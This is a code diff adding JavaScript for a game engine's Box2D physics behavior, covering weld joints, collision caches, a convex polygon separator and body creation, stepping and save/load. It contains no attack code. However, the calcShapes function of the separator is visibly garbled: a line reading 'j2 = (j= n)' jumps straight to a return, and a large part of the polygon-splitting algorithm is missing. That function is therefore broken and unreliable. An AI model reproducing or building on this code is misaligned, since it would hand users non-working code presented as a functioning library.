+ this.m_mass.col3.y = rAX * iA + rBX * iB;
+ this.m_mass.col1.z = this.m_mass.col3.x;
+ this.m_mass.col2.z = this.m_mass.col3.y;
+ this.m_mass.col3.z = iA + iB;
+ var impulse = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.m_mass.Solve33(impulse, (-C1X), (-C1Y), (-C2));
+ bA.m_sweep.c.x -= mA * impulse.x;
+ bA.m_sweep.c.y -= mA * impulse.y;
+ bA.m_sweep.a -= iA * (rAX * impulse.y - rAY * impulse.x + impulse.z);
+ bB.m_sweep.c.x += mB * impulse.x;
+ bB.m_sweep.c.y += mB * impulse.y;
+ bB.m_sweep.a += iB * (rBX * impulse.y - rBY * impulse.x + impulse.z);
+ bA.SynchronizeTransform();
+ bB.SynchronizeTransform();
+ return positionError <= Box2D.Common.b2Settings.b2_linearSlop && angularError <= Box2D.Common.b2Settings.b2_angularSlop;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+Box2D.Dynamics.Joints.b2WeldJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_weldJoint;
+ this.referenceAngle = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2WeldJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2WeldJointDef.prototype.Initialize = function(bA, bB, anchor) {
+ this.bodyA = bA;
+ this.bodyB = bB;
+ this.localAnchorA.SetV(this.bodyA.GetLocalPoint(anchor));
+ this.localAnchorB.SetV(this.bodyB.GetLocalPoint(anchor));
+ this.referenceAngle = this.bodyB.GetAngle() - this.bodyA.GetAngle();
+};
+Box2D.Dynamics.Joints.b2WeldJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2WeldJoint(this);
+};
+Box2D.Collision.b2Collision.s_incidentEdge = Box2D.Collision.b2Collision.MakeClipPointVector();
+Box2D.Collision.b2Collision.s_clipPoints1 = Box2D.Collision.b2Collision.MakeClipPointVector();
+Box2D.Collision.b2Collision.s_clipPoints2 = Box2D.Collision.b2Collision.MakeClipPointVector();
+Box2D.Collision.b2Collision.s_localTangent = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2Collision.s_localNormal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2Collision.s_planePoint = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2Collision.s_normal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2Collision.s_tangent = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2Collision.s_tangent2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2Collision.s_v11 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2Collision.s_v12 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+Box2D.Collision.b2TimeOfImpact.b2_toiCalls = 0;
+Box2D.Collision.b2TimeOfImpact.b2_toiIters = 0;
+Box2D.Collision.b2TimeOfImpact.b2_toiMaxIters = 0;
+Box2D.Collision.b2TimeOfImpact.b2_toiRootIters = 0;
+Box2D.Collision.b2TimeOfImpact.b2_toiMaxRootIters = 0;
+Box2D.Collision.b2TimeOfImpact.s_cache = new Box2D.Collision.b2SimplexCache();
+Box2D.Collision.b2TimeOfImpact.s_distanceInput = new Box2D.Collision.b2DistanceInput();
+Box2D.Collision.b2TimeOfImpact.s_xfA = new Box2D.Common.Math.b2Transform();
+Box2D.Collision.b2TimeOfImpact.s_xfB = new Box2D.Common.Math.b2Transform();
+Box2D.Collision.b2TimeOfImpact.s_fcn = new Box2D.Collision.b2SeparationFunction();
+Box2D.Collision.b2TimeOfImpact.s_distanceOutput = new Box2D.Collision.b2DistanceOutput();
+/** @type {!Box2D.Common.Math.b2Transform} */
+Box2D.Dynamics.b2Body.s_xf1 = new Box2D.Common.Math.b2Transform();
+Box2D.Dynamics.b2ContactListener.b2_defaultListener = new Box2D.Dynamics.b2ContactListener();
+Box2D.Dynamics.b2ContactManager.s_evalCP = new Box2D.Collision.b2ContactPoint();
+/** @type {!Box2D.Common.Math.b2Transform} */
+Box2D.Dynamics.b2World.s_xf = new Box2D.Common.Math.b2Transform();
+/** @type {!Box2D.Common.Math.b2Sweep} */
+Box2D.Dynamics.b2World.s_backupA = new Box2D.Common.Math.b2Sweep();
+/** @type {!Box2D.Common.Math.b2Sweep} */
+Box2D.Dynamics.b2World.s_backupB = new Box2D.Common.Math.b2Sweep();
+Box2D.Dynamics.Contacts.b2Contact.s_input = new Box2D.Collision.b2TOIInput();
+Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold = new Box2D.Collision.b2WorldManifold();
+Box2D.Dynamics.Contacts.b2ContactSolver.s_psm = new Box2D.Dynamics.Contacts.b2PositionSolverManifold();
+/*
+* Convex Separator for Box2D Flash
+*
+* This class has been written by Antoan Angelov.
+* It is designed to work with Erin Catto's Box2D physics library.
+*
+* Everybody can use this software for any purpose, under two restrictions:
+* 1. You cannot claim that you wrote this software.
+* 2. You can not remove or alter this notice.
+*
+*/
+cr.b2Separator = function() {};
+cr.b2Separator.det = function(x1, y1, x2, y2, x3, y3)
+{
+ return x1*y2 + x2*y3 + x3*y1 - y1*x2 - y2*x3 - y3*x1;
+};
+cr.b2Separator.hitRay = function(x1, y1, x2, y2, x3, y3, x4, y4)
+{
+ var t1 = x3-x1, t2 = y3-y1, t3 = x2-x1, t4 = y2-y1, t5 = x4-x3, t6 = y4-y3, t7 = t4*t5 - t3*t6;
+ var a = (t5*t2 - t6*t1) / t7;
+ var px = x1 + a*t3, py = y1 + a*t4;
+ var b1 = cr.b2Separator.isOnSegment(x2, y2, x1, y1, px, py);
+ var b2 = cr.b2Separator.isOnSegment(px, py, x3, y3, x4, y4);
+ if (b1 && b2)
+ return Box2D.Common.Math.b2Vec2.Get(px, py);
+ else
+ return null;
+};
+cr.b2Separator.isOnSegment = function(px, py, x1, y1, x2, y2)
+{
+ var b1 = (x1+0.1 >= px && px >= x2-0.1) || (x1-0.1 <= px && px <= x2+0.1);
+ var b2 = (y1+0.1 >= py && py >= y2-0.1) || (y1-0.1 <= py && py <= y2+0.1);
+ return (b1 && b2) && cr.b2Separator.isOnLine(px, py, x1, y1, x2, y2);
+};
+cr.b2Separator.isOnLine = function(px, py, x1, y1, x2, y2)
+{
+ if (Math.abs(x2-x1) > 0.1)
+ {
+ var a = (y2-y1) / (x2-x1);
+ var possibleY = a * (px-x1)+y1;
+ var diff = Math.abs(possibleY-py);
+ return diff < 0.1;
+ }
+ return Math.abs(px-x1) < 0.1;
+};
+cr.b2Separator.pointsMatch = function(x1, y1, x2, y2)
+{
+ return Math.abs(x2-x1) < 0.1 && Math.abs(y2-y1) < 0.1;
+};
+cr.b2Separator.Separate = function(verticesVec /*array of b2Vec2*/, objarea)
+{
+ var b2Vec2 = Box2D.Common.Math.b2Vec2;
+ var calced = cr.b2Separator.calcShapes(verticesVec);
+ var ret = [];
+ var poly, a, b, c;
+ var i, len, j, lenj;
+ var areasum;
+ for (i = 0, len = calced.length; i < len; i++)
+ {
+ a = calced[i];
+ poly = [];
+ poly.length = a.length;
+ areasum = 0;
+ for (j = 0, lenj = a.length; j < lenj; j++)
+ {
+ b = a[j];
+ c = a[(j + 1) % lenj];
+ areasum += (b.x * c.y - b.y * c.x);
+ poly[j] = b2Vec2.Get(b.x, b.y);
+ }
+ areasum = Math.abs(areasum / 2);
+ if (areasum >= objarea * 0.001)
+ ret.push(poly);
+ }
+;
+ return ret;
+};
+cr.b2Separator.calcShapes = function(verticesVec /*array of b2Vec2*/)
+{
+ var vec = []; // array of b2Vec2
+ var i = 0, n = 0, j = 0; // ints
+ var d = 0, t = 0, dx = 0, dy = 0, minLen = 0; // numbers
+ var i1 = 0, i2 = 0, i3 = 0; // ints
+ var p1, p2, p3, v1, v2, v, hitV; // b2Vec2s
+ var j1 = 0, j2 = 0, k = 0, h = 0; // ints
+ var vec1 = [], vec2 = []; // array of b2Vec2
+ var isConvex = false; // boolean
+ var figsVec = [], queue = []; // Arrays
+ queue.push(verticesVec);
+ while (queue.length)
+ {
+ vec = queue[0];
+ n = vec.length;
+ isConvex = true;
+ for (i = 0; i < n; i++)
+ {
+ i1 = i;
+ i2 = (i < n-1) ? i+1 : i+1-n;
+ i3 = (i < n-2) ? i+2 : i+2-n;
+ p1 = vec[i1];
+ p2 = vec[i2];
+ p3 = vec[i3];
+ d = cr.b2Separator.det(p1.x, p1.y, p2.x, p2.y, p3.x, p3.y);
+ if (d < 0)
+ {
+ isConvex = false;
+ minLen = 1e9;
+ for (j = 0; j < n; j++)
+ {
+ if ((j !== i1) && (j !== i2))
+ {
+ j1 = j;
+ j2 = (j= n)
+ return [];
+ if (!cr.b2Separator.isOnSegment(v2.x, v2.y, vec[h].x, vec[h].y, p1.x, p1.y))
+ vec1.push(vec[k]);
+ break;
+ }
+ h = k;
+ if (k-1 < 0)
+ k = n-1;
+ else
+ k--;
+ }
+ vec1.reverse();
+ h = -1;
+ k = i2;
+ while (true)
+ {
+ if (k !== j1)
+ vec2.push(vec[k]);
+ else
+ {
+ if (h < 0 || h >= n)
+ return [];
+ if (k === j1 && !cr.b2Separator.isOnSegment(v1.x, v1.y, vec[h].x, vec[h].y, p2.x, p2.y))
+ vec2.push(vec[k]);
+ break;
+ }
+ h = k;
+ if (k+1 > n-1)
+ k = 0;
+ else
+ k++;
+ }
+ queue.push(vec1, vec2);
+ queue.shift();
+ break;
+ }
+ }
+ if (isConvex)
+ figsVec.push(queue.shift());
+ }
+ return figsVec;
+};
+;
+;
+cr.behaviors.Physics = function(runtime)
+{
+ for (var i = 0; i < 4000; i++)
+ Box2D.Common.Math.b2Vec2._freeCache.push(new Box2D.Common.Math.b2Vec2(0, 0));
+ this.runtime = runtime;
+ this.world = new Box2D.Dynamics.b2World(
+ Box2D.Common.Math.b2Vec2.Get(0, 10), // gravity
+ true); // allow sleep
+ this.worldG = 10;
+ this.lastUpdateTick = -1;
+ var listener = new Box2D.Dynamics.b2ContactListener;
+ listener.behavior = this;
+ listener.BeginContact = function(contact)
+ {
+ var behA = contact.m_fixtureA.GetBody().c2userdata;
+ var behB = contact.m_fixtureB.GetBody().c2userdata;
+ this.behavior.runtime.registerCollision(behA.inst, behB.inst);
+ };
+ this.world.SetContactListener(listener);
+ var filter = new Box2D.Dynamics.b2ContactFilter;
+ filter.behavior = this;
+ filter.ShouldCollide = function (fixtureA, fixtureB)
+ {
+ if (this.behavior.allCollisionsEnabled)
+ return true;
+ var typeA = fixtureA.GetBody().c2userdata.inst.type;
+ var typeB = fixtureB.GetBody().c2userdata.inst.type;
+ var s = typeA.extra["Physics_DisabledCollisions"];
+ if (s && s.contains(typeB))
+ return false;
+ s = typeB.extra["Physics_DisabledCollisions"];
+ if (s && s.contains(typeA))
+ return false;
+ return true;
+ };
+ this.world.SetContactFilter(filter);
+ this.steppingMode = 0; // fixed
+ this.velocityIterations = 8;
+ this.positionIterations = 3;
+ this.allCollisionsEnabled = true;
+};
+(function ()
+{
+ var b2Vec2 = Box2D.Common.Math.b2Vec2,
+ b2BodyDef = Box2D.Dynamics.b2BodyDef,
+ b2Body = Box2D.Dynamics.b2Body,
+ b2FixtureDef = Box2D.Dynamics.b2FixtureDef,
+ b2Fixture = Box2D.Dynamics.b2Fixture,
+ b2World = Box2D.Dynamics.b2World,
+ b2PolygonShape = Box2D.Collision.Shapes.b2PolygonShape,
+ b2CircleShape = Box2D.Collision.Shapes.b2CircleShape,
+ b2DistanceJointDef = Box2D.Dynamics.Joints.b2DistanceJointDef,
+ b2RevoluteJointDef = Box2D.Dynamics.Joints.b2RevoluteJointDef,
+ b2Transform = Box2D.Common.Math.b2Transform,
+ b2Mat22 = Box2D.Common.Math.b2Mat22;
+ var TILE_FLIPPED_HORIZONTAL = -0x80000000 // note: pretend is a signed int, so negate
+ var TILE_FLIPPED_VERTICAL = 0x40000000
+ var TILE_FLIPPED_DIAGONAL = 0x20000000
+ var TILE_FLAGS_MASK = 0xE0000000
+ var worldScale = 0.02;
+ var behaviorProto = cr.behaviors.Physics.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ this.world = this.behavior.world;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.immovable = (this.properties[0] !== 0);
+ this.collisionmask = this.properties[1];
+ this.preventRotation = (this.properties[2] !== 0);
+ this.density = this.properties[3];
+ this.friction = this.properties[4];
+ this.restitution = this.properties[5];
+ this.linearDamping = this.properties[6];
+ this.angularDamping = this.properties[7];
+ this.bullet = (this.properties[8] !== 0);
+ this.enabled = (this.properties[9] !== 0);
+ this.body = null;
+ this.inst.update_bbox();
+ this.lastKnownX = this.inst.x;
+ this.lastKnownY = this.inst.y;
+ this.lastKnownAngle = this.inst.angle;
+ this.lastWidth = 0;
+ this.lastHeight = 0;
+ this.lastTickOverride = false;
+ this.recreateBody = false;
+ this.lastAnimation = null; // for sprites only - will be undefined for other objects
+ this.lastAnimationFrame = -1; // for sprites only - will be undefined for other objects
+ if (this.myJoints)
+ {
+ this.myJoints.length = 0;
+ this.myCreatedJoints.length = 0;
+ this.joiningMe.clear();
+ }
+ else
+ {
+ this.myJoints = []; // Created Box2D joints
+ this.myCreatedJoints = []; // List of actions called to create joints
+ this.joiningMe = new cr.ObjectSet(); // Instances with joints to me
+ }
+ var self = this;
+ if (!this.recycled)
+ {
+ this.myDestroyCallback = (function(inst) {
+ self.onInstanceDestroyed(inst);
+ });
+ }
+ this.runtime.addDestroyCallback(this.myDestroyCallback);
+ };
+ behinstProto.postCreate = function ()
+ {
+ this.inst.update_bbox();
+ this.createBody();
+ this.lastAnimation = this.inst.cur_animation;
+ this.lastAnimationFrame = this.inst.cur_frame;
+ };
+ behinstProto.onDestroy = function()
+ {
+ this.destroyMyJoints();
+ this.myCreatedJoints.length = 0;
+ this.joiningMe.clear();
+ if (this.body)
+ {
+ this.world.DestroyBody(this.body);
+ this.body = null;
+ }
+ this.runtime.removeDestroyCallback(this.myDestroyCallback);
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ var o = {
+ "e": this.enabled,
+ "im": this.immovable,
+ "pr": this.preventRotation,
+ "d": this.density,
+ "fr": this.friction,
+ "re": this.restitution,
+ "ld": this.linearDamping,
+ "ad": this.angularDamping,
+ "b": this.bullet,
+ "mcj": this.myCreatedJoints
+ };
+ if (this.enabled)
+ {
+ var temp = b2Vec2.Get(0, 0);
+ temp.SetV(this.body.GetLinearVelocity());
+ o["vx"] = temp.x;
+ o["vy"] = temp.y;
+ o["om"] = this.body.GetAngularVelocity();
+ }
+ return o;
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.destroyMyJoints();
+ this.myCreatedJoints.length = 0;
+ this.joiningMe.clear();
+ if (this.body)
+ {
+ this.world.DestroyBody(this.body);
+ this.body = null;
+ }
+ this.enabled = o["e"];
+ this.immovable = o["im"];
+ this.preventRotation = o["pr"];
+ this.density = o["d"];
+ this.friction = o["fr"];
+ this.restitution = o["re"];
+ this.linearDamping = o["ld"];
+ this.angularDamping = o["ad"];
+ this.bullet = o["b"];
+ this.lastKnownX = this.inst.x;
+ this.lastKnownY = this.inst.y;
+ this.lastKnownAngle = this.inst.angle;
+ this.lastWidth = this.inst.width;
+ this.lastHeight = this.inst.height;
+ if (this.enabled)
+ {
+ this.createBody();
+ this.body.SetLinearVelocity(b2Vec2.Get(o["vx"], o["vy"]));
+ this.body.SetAngularVelocity(o["om"]);
+ if (o["vx"] !== 0 || o["vy"] !== 0 || o["om"] !== 0)
+ this.body.SetAwake(true);
+ this.myCreatedJoints = o["mcj"];
+ }
+ };
+ behinstProto.afterLoad = function ()
+ {
+ if (this.enabled)
+ this.recreateMyJoints();
+ this.behavior.lastUpdateTick = this.runtime.tickcount - 1;
+ };
+ behinstProto.onInstanceDestroyed = function (inst)
+ {
+ var i, len, j, instuid = inst.uid;
+ for (i = 0, j = 0, len = this.myCreatedJoints.length; i < len; i++)
+ {
+ this.myCreatedJoints[j] = this.myCreatedJoints[i];
+ if (j < this.myJoints.length)
+ this.myJoints[j] = this.myJoints[i];
+ if (this.myCreatedJoints[i].params[1] == instuid) // attached instance is always 2nd param
+ this.world.DestroyJoint(this.myJoints[i]);
+ else
+ j++;
+ }
+ this.myCreatedJoints.length = j;
+ if (j < this.myJoints.length)
+ this.myJoints.length = j;
+ this.joiningMe.remove(inst);
+ };
+ behinstProto.destroyMyJoints = function()
+ {
+ var i, len;
+ for (i = 0, len = this.myJoints.length; i < len; i++)
+ this.world.DestroyJoint(this.myJoints[i]);
+ this.myJoints.length = 0;
+ };
+ behinstProto.recreateMyJoints = function()
+ {
+ var i, len, j;
+ for (i = 0, len = this.myCreatedJoints.length; i < len; i++)
+ {
+ j = this.myCreatedJoints[i];
+ switch (j.type) {
+ case 0: // distance joint
+ this.doCreateDistanceJoint(j.params[0], j.params[1], j.params[2], j.params[3], j.params[4]);
+ break;
+ case 1: // revolute joint
+ this.doCreateRevoluteJoint(j.params[0], j.params[1]);
+ break;
+ case 2: // limited revolute joint
+ this.doCreateLimitedRevoluteJoint(j.params[0], j.params[1], j.params[2], j.params[3]);
+ break;
+ default:
+;
+ }
+ }
+ };
+ behinstProto.destroyBody = function()
+ {
+ if (!this.body)
+ return;
+ this.destroyMyJoints();
+ this.world.DestroyBody(this.body);
+ this.body = null;
+ this.inst.extra.box2dbody = null;
+ };
+ var collrects = [];
+ behinstProto.createBody = function()
+ {
+ if (!this.enabled)
+ return;
+ var inst = this.inst;
+ var hadOldBody = false;
+ var oldVelocity = null;
+ var oldOmega = null;
+ var i, len, j, lenj, k, lenk, vec, arr, b, c, rc, pts_cache, pts_count, convexpolys, cp, offx, offy, oldAngle;
+ if (this.body)
+ {
+ hadOldBody = true;
+ oldVelocity = b2Vec2.Get(0, 0);
+ oldVelocity.SetV(this.body.GetLinearVelocity());
+ oldOmega = this.body.GetAngularVelocity();
+ arr = this.joiningMe.valuesRef();
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ b = arr[i].extra.box2dbody.c2userdata;
+ b.destroyMyJoints();
+ }
+ this.destroyBody();
+ }
+ var fixDef = new b2FixtureDef;
+ fixDef.density = this.density;
+ fixDef.friction = this.friction;
+ fixDef.restitution = this.restitution;
+ var bodyDef = new b2BodyDef;
+ if (this.immovable)
+ bodyDef.type = 0; //b2BodyDef.b2_staticBody
+ else
+ bodyDef.type = 2; //b2BodyDef.b2_dynamicBody
+ inst.update_bbox();
+ bodyDef.position.x = inst.bquad.midX() * worldScale;
+ bodyDef.position.y = inst.bquad.midY() * worldScale;
+ bodyDef.angle = inst.angle;
+ bodyDef.fixedRotation = this.preventRotation;
+ bodyDef.linearDamping = this.linearDamping;
+ bodyDef.angularDamping = this.angularDamping;
+ bodyDef.bullet = this.bullet;
+ var hasPoly = this.inst.collision_poly && !this.inst.collision_poly.is_empty();
+ this.body = this.world.CreateBody(bodyDef);
+ this.body.c2userdata = this;
+ var usecollisionmask = this.collisionmask;
+ if (!hasPoly && !this.inst.tilemap_exists && this.collisionmask === 0)
+ usecollisionmask = 1;
+ var instw = Math.max(Math.abs(inst.width), 1);
+ var insth = Math.max(Math.abs(inst.height), 1);
+ var ismirrored = inst.width < 0;
+ var isflipped = inst.height < 0;
+ if (usecollisionmask === 0)
+ {
+ if (inst.tilemap_exists)
+ {
+ offx = inst.bquad.midX() - inst.x;
+ offy = inst.bquad.midY() - inst.y;
+ inst.getAllCollisionRects(collrects);
+ arr = [];
+ for (i = 0, len = collrects.length; i < len; ++i)
+ {
+ c = collrects[i];
+ rc = c.rc;
+ if (c.poly)
+ {
+ if (!c.poly.convexpolys)
+ {
+ pts_cache = c.poly.pts_cache;
+ pts_count = c.poly.pts_count;
+ for (j = 0; j < pts_count; ++j)
+ {
+ arr.push(b2Vec2.Get(pts_cache[j*2], pts_cache[j*2+1]));
+ }
+ var flags = (c.id & TILE_FLAGS_MASK);
+ if (flags === TILE_FLIPPED_HORIZONTAL || flags === TILE_FLIPPED_VERTICAL || flags === TILE_FLIPPED_DIAGONAL ||
+ ((flags & TILE_FLIPPED_HORIZONTAL) && (flags & TILE_FLIPPED_VERTICAL) && (flags & TILE_FLIPPED_DIAGONAL)))
+ {
+ arr.reverse();
+ }
+ c.poly.convexpolys = cr.b2Separator.Separate(arr, (rc.right - rc.left) * (rc.bottom - rc.top));
+ for (j = 0, lenj = arr.length; j < lenj; ++j)
+ b2Vec2.Free(arr[j]);
+ arr.length = 0;
+ }
+ for (j = 0, lenj = c.poly.convexpolys.length; j < lenj; ++j)
+ {
+ cp = c.poly.convexpolys[j];
+;
+ for (k = 0, lenk = cp.length; k < lenk; ++k)
+ {
+ arr.push(b2Vec2.Get((rc.left + cp[k].x - offx) * worldScale, (rc.top + cp[k].y - offy) * worldScale));
+ }
+ fixDef.shape = new b2PolygonShape;
+ fixDef.shape.SetAsArray(arr, arr.length); // copies content of arr
+ this.body.CreateFixture(fixDef);
+ for (k = 0, lenk = arr.length; k < lenk; ++k)
+ b2Vec2.Free(arr[k]);
+ arr.length = 0;
+ }
+ }
+ else
+ {
+ arr.push(b2Vec2.Get((rc.left - offx) * worldScale, (rc.top - offy) * worldScale));
+ arr.push(b2Vec2.Get((rc.right - offx) * worldScale, (rc.top - offy) * worldScale));
+ arr.push(b2Vec2.Get((rc.right - offx) * worldScale, (rc.bottom - offy) * worldScale));
+ arr.push(b2Vec2.Get((rc.left - offx) * worldScale, (rc.bottom - offy) * worldScale));
+ fixDef.shape = new b2PolygonShape;
+ fixDef.shape.SetAsArray(arr, arr.length); // copies content of arr
+ this.body.CreateFixture(fixDef);
+ }
+ for (j = 0, lenj = arr.length; j < lenj; ++j)
+ b2Vec2.Free(arr[j]);
+ arr.length = 0;
+ }
+ }
+ else
+ {
+ oldAngle = inst.angle;
+ inst.angle = 0;
+ inst.set_bbox_changed();
+ inst.update_bbox();
+ offx = inst.bquad.midX() - inst.x;
+ offy = inst.bquad.midY() - inst.y;
+ inst.angle = oldAngle;
+ inst.set_bbox_changed();
+ inst.collision_poly.cache_poly(ismirrored ? -instw : instw, isflipped ? -insth : insth, 0);
+ pts_cache = inst.collision_poly.pts_cache;
+ pts_count = inst.collision_poly.pts_count;
+ arr = [];
+ arr.length = pts_count;
+ for (i = 0; i < pts_count; i++)
+ {
+ arr[i] = b2Vec2.Get(pts_cache[i*2] - offx, pts_cache[i*2+1] - offy);
+ }
+ if (ismirrored !== isflipped)
+ arr.reverse(); // wrong clockwise order when flipped
+ convexpolys = cr.b2Separator.Separate(arr, instw * insth);
+ for (i = 0; i < pts_count; i++)
+ b2Vec2.Free(arr[i]);
+ if (convexpolys.length)
+ {
+ for (i = 0, len = convexpolys.length; i < len; i++)
+ {
+ arr = convexpolys[i];
+;
+ for (j = 0, lenj = arr.length; j < lenj; j++)
+ {
+ vec = arr[j];
+ vec.x *= worldScale;
+ vec.y *= worldScale;
+ }
+ fixDef.shape = new b2PolygonShape;
+ fixDef.shape.SetAsArray(arr, arr.length); // copies content of arr
+ this.body.CreateFixture(fixDef);
+ for (j = 0, lenj = arr.length; j < lenj; j++)
+ b2Vec2.Free(arr[j]);
+ }
+ }
+ else
+ {
+ fixDef.shape = new b2PolygonShape;
+ fixDef.shape.SetAsBox(instw * worldScale * 0.5, insth * worldScale * 0.5);
+ this.body.CreateFixture(fixDef);
+ }
+ }
+ }
+ else if (usecollisionmask === 1)
+ {
+ fixDef.shape = new b2PolygonShape;
+ fixDef.shape.SetAsBox(instw * worldScale * 0.5, insth * worldScale * 0.5);
+ this.body.CreateFixture(fixDef);
+ }
+ else
+ {
+ fixDef.shape = new b2CircleShape(Math.min(instw, insth) * worldScale * 0.5);
+ this.body.CreateFixture(fixDef);
+ }
+ inst.extra.box2dbody = this.body;
+ this.lastWidth = inst.width;
+ this.lastHeight = inst.height;
+ if (hadOldBody)
+ {
+ this.body.SetLinearVelocity(oldVelocity);
+ this.body.SetAngularVelocity(oldOmega);
+ b2Vec2.Free(oldVelocity);
+ this.recreateMyJoints();
+ arr = this.joiningMe.valuesRef();
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ b = arr[i].extra.box2dbody.c2userdata;
+ b.recreateMyJoints();
+ }
+ }
+ collrects.length = 0;
+ };
+ /*
+ behinstProto.draw = function (ctx)
+ {
+ if (!this.myconvexpolys)
+ return;
+ this.inst.update_bbox();
+ var midx = this.inst.bquad.midX();
+ var midy = this.inst.bquad.midY();
+ var i, len, j, lenj;
+ var sina = 0;
+ var cosa = 1;
+ if (this.inst.angle !== 0)
+ {
+ sina = Math.sin(this.inst.angle);
+ cosa = Math.cos(this.inst.angle);
+ }
+ var strokeStyles = ["#f00", "#0f0", "#00f", "#ff0", "#0ff", "#f0f"];
+ ctx.lineWidth = 2;
+ var i, len, j, lenj, ax, ay, bx, by, poly, va, vb;
+ for (i = 0, len = this.myconvexpolys.length; i < len; i++)
+ {
+ poly = this.myconvexpolys[i];
+ ctx.strokeStyle = strokeStyles[i];
+ for (j = 0, lenj = poly.length; j < lenj; j++)
+ {
+ va = poly[j];
+ vb = poly[(j + 1) % lenj];
+ ax = va.x / worldScale;
+ ay = va.y / worldScale;
+ bx = vb.x / worldScale;
+ by = vb.y / worldScale;
+ ctx.beginPath();
+ ctx.moveTo(((ax * cosa) - (ay * sina)) + midx, ((ay * cosa) + (ax * sina)) + midy);
+ ctx.lineTo(((bx * cosa) - (by * sina)) + midx, ((by * cosa) + (bx * sina)) + midy);
+ ctx.stroke();
+ ctx.closePath();
+ }
+ }
+ };
+ */
+ behinstProto.tick = function ()
+ {
+ if (!this.enabled)
+ return;
+ var inst = this.inst;
+ var dt;
+ if (this.behavior.steppingMode === 0) // fixed
+ dt = this.runtime.timescale / 60;
+ else
+ {
+ dt = this.runtime.getDt(this.inst);
+ if (dt > 1 / 30)
+ dt = 1 / 30;
+ }
+ if (this.runtime.tickcount > this.behavior.lastUpdateTick && this.runtime.timescale > 0)
+ {
+ this.world.Step(dt, this.behavior.velocityIterations, this.behavior.positionIterations); // still apply timescale
+ this.world.ClearForces();
+ this.behavior.lastUpdateTick = this.runtime.tickcount;
+ }
+ if (this.recreateBody || inst.width !== this.lastWidth || inst.height !== this.lastHeight
+ || inst.cur_animation !== this.lastAnimation || inst.cur_frame !== this.lastAnimationFrame
+ || (inst.tilemap_exists && inst.physics_changed))
+ {
+ this.createBody();
+ this.recreateBody = false;
+ this.lastAnimation = inst.cur_animation;
+ this.lastAnimationFrame = inst.cur_frame;
+ if (inst.tilemap_exists && inst.physics_changed)
+ inst.physics_changed = false;
+ }
+ var pos_changed = (inst.x !== this.lastKnownX || inst.y !== this.lastKnownY);
+ var angle_changed = (inst.angle !== this.lastKnownAngle);
+ if (pos_changed)
+ {
+ inst.update_bbox();
+ var newmidx = inst.bquad.midX();
+ var newmidy = inst.bquad.midY();
+ var diffx = newmidx - this.lastKnownX;
+ var diffy = newmidy - this.lastKnownY;
+ this.body.SetPosition(b2Vec2.Get(newmidx * worldScale, newmidy * worldScale));
+ this.body.SetLinearVelocity(b2Vec2.Get(diffx, diffy));
+ this.lastTickOverride = true;
+ this.body.SetAwake(true);
+ }
+ else if (this.lastTickOverride)
+ {
+ this.lastTickOverride = false;
+ this.body.SetLinearVelocity(b2Vec2.Get(0, 0));
+ this.body.SetPosition(b2Vec2.Get(inst.bquad.midX() * worldScale, inst.bquad.midY() * worldScale));
+ }
+ if (angle_changed)
+ {
+ this.body.SetAngle(inst.angle);
+ this.body.SetAwake(true);
+ }
+ var pos = this.body.GetPosition();
+ var newx = pos.x / worldScale;
+ var newy = pos.y / worldScale;
+ var newangle = this.body.GetAngle();
+ if (newx !== inst.x || newy !== inst.y || newangle !== inst.angle)
+ {
+ inst.x = newx;
+ inst.y = newy;
+ inst.angle = newangle;
+ inst.set_bbox_changed();
+ inst.update_bbox();
+ var dx = inst.bquad.midX() - inst.x;
+ var dy = inst.bquad.midY() - inst.y;
+ if (dx !== 0 || dy !== 0)
+ {
+ inst.x -= dx;
+ inst.y -= dy;
+ inst.set_bbox_changed();
+ }
+ }
+ this.lastKnownX = inst.x;
+ this.lastKnownY = inst.y;
+ this.lastKnownAngle = inst.angle;
+ };
+ behinstProto.getInstImgPointX = function(imgpt)
+ {
+ if (imgpt === -1 || !this.inst.getImagePoint)
+ return this.inst.x;
+ if (imgpt === 0 && this.body)
+ return (this.body.GetPosition().x + this.body.GetLocalCenter().x) / worldScale;
+ return this.inst.getImagePoint(imgpt, true);
+ };
+ behinstProto.getInstImgPointY = function(imgpt)
+ {
+ if (imgpt === -1 || !this.inst.getImagePoint)
+ return this.inst.y;
+ if (imgpt === 0 && this.body)
+ return (this.body.GetPosition().y + this.body.GetLocalCenter().y) / worldScale;
+ return this.inst.getImagePoint(imgpt, false);
+ };
+ function Cnds() {};
+ Cnds.prototype.IsSleeping = function ()
+ {
+ if (!this.enabled)
+ return false;
+ return !this.body.IsAwake();
+ };
+ Cnds.prototype.CompareVelocity = function (which_, cmp_, x_)
+ {
+ if (!this.enabled)
+ return false;
